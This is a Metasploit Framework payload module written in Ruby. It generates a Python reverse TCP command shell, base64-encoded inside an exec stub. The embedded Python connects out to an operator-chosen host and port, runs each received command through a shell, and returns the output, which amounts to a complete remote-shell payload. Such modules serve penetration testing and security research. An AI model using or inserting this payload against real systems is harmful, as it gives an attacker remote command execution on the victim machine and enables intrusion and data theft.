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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Payload::Python
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'Command Shell, Reverse TCP (via python)',
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      'Description'   => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.',
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      'Author'        => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'python',
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      'Arch'          => ARCH_PYTHON,
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      'Handler'       => Msf::Handler::ReverseTcp,
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      'Session'       => Msf::Sessions::CommandShell,
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      'PayloadType'   => 'python',
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      'Payload'       =>
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        {
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          'Offsets' => { },
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          'Payload' => ''
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        }
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      ))
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    cmd = <<~PYTHON
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      import socket as s
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      import subprocess as r
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      so=s.socket(s.AF_INET,s.SOCK_STREAM)
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      so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
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      while True:
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      	d=so.recv(1024)
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      	if len(d)==0:
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      		break
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      	p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
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      	o=p.stdout.read()+p.stderr.read()
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      	so.send(o)
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    PYTHON
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    py_create_exec_stub(cmd)
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  end
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end
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